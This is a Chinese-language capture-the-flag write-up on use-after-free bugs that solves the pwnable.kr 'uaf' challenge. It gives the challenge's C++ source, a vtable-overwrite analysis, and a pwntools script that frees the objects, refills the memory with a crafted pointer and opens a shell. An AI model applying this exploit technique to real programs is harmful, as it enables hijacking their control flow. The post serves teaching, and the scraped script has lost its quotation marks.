1. 程式人生 > >Use-After-Free

Use-After-Free

sign virt std bin 兩個 原理 函數 block cat

0x00 UAF利用原理

uaf漏洞產生的主要原因是釋放了一個堆塊後,並沒有將該指針置為NULL,這樣導致該指針處於懸空的狀態(這個指針可以稱為惡性迷途指針),同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。

0x01 UAF漏洞的利用步驟

(1)先精心構造一個迷途指針

(2)再精心構造數據填充被釋放的內存區域

(3)再次使用該指針,改變程序流程

0x02 Pwnable.kr-uaf

源碼如下;

技術分享
 1 #include <fcntl.h>
 2 #include <iostream> 
 3 #include <cstring>
 4
#include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7 8 class Human{ 9 private: 10 virtual void give_shell(){ 11 system("/bin/sh"); 12 } 13 protected: 14 int age; 15 string name; 16 public: 17 virtual void introduce(){ 18 cout << "
My name is " << name << endl; 19 cout << "I am " << age << " years old" << endl; 20 } 21 }; 22 23 class Man: public Human{ 24 public: 25 Man(string name, int age){ 26 this->name = name; 27 this->age = age; 28 }
29 virtual void introduce(){ 30 Human::introduce(); 31 cout << "I am a nice guy!" << endl; 32 } 33 }; 34 35 class Woman: public Human{ 36 public: 37 Woman(string name, int age){ 38 this->name = name; 39 this->age = age; 40 } 41 virtual void introduce(){ 42 Human::introduce(); 43 cout << "I am a cute girl!" << endl; 44 } 45 }; 46 47 int main(int argc, char* argv[]){ 48 Human* m = new Man("Jack", 25); 49 Human* w = new Woman("Jill", 21); 50 51 size_t len; 52 char* data; 53 unsigned int op; 54 while(1){ 55 cout << "1. use\n2. after\n3. free\n"; 56 cin >> op; 57 58 switch(op){ 59 case 1: 60 m->introduce(); 61 w->introduce(); 62 break; 63 case 2: 64 len = atoi(argv[1]); 65 data = new char[len]; 66 read(open(argv[2], O_RDONLY), data, len); 67 cout << "your data is allocated" << endl; 68 break; 69 case 3: 70 delete m; 71 delete w; 72 break; 73 default: 74 break; 75 } 76 } 77 78 return 0; 79 }
uaf

根據分析源碼,大致漏洞利用思路:

因為在main函數開始處已經申請了兩塊內存

    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

我們只要執行case 3就可以讓這兩個指針成為迷途指針,加以利用

case 3:
                delete m;
                delete w;
                break;

觀察到case 2 申請了一塊內存,並且對這塊內存進行寫操作

case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;

在具體利用之前我們先簡單分析一下此時堆內存的分配情況,具體是c++類存在虛函數時的分配情況,我這裏不細說,只給出結論,具體的可以參照

1.IDA pro第二版124面

2.c++類實例在內存中的分配 (轉)

此時堆內存分配大致如下圖所示:

技術分享

加上case 1中執行introduce函數

case 1:
                m->introduce();
                w->introduce();
                break;

vtable指針指向類的虛函數表,introduce函數處於虛函數表第二項,即*(vtable+8)所指向的地址,又知道在虛表中give_shell函數的位置等於introduce函數位置 - 8.意思是假如我們先把vtable的值覆蓋為vtable - 8,那麽再執行introduce函數時就相當於執行give_shell函數。

通過IDA逆向分析,我們找到類Man的vtable的地址為0x401570.

利用腳本如下:

from pwn import *
pwn_ssh = ssh(host=pwnable.kr,user=uaf,password=guest,port=2222)
print pwn_ssh.connected()
vtable_addr = 0x401570
argv=[uaf,24,p64(vtable_addr - 8)]
io = pwn_ssh.process(argv,executable=./uaf)
io.recvuntil(3. free\n)
io.sendline(3)
io.recvuntil(3. free\n)
io.sendline(2)
io.recvuntil(3. free\n)
io.sendline(1)
io.interactive()

0x03 參考鏈接

pwnable.kr之uaf

逆向安全系列:Use After Free漏洞淺析

iOS冰與火之歌 – UAF and Kernel Pwn

Use-After-Free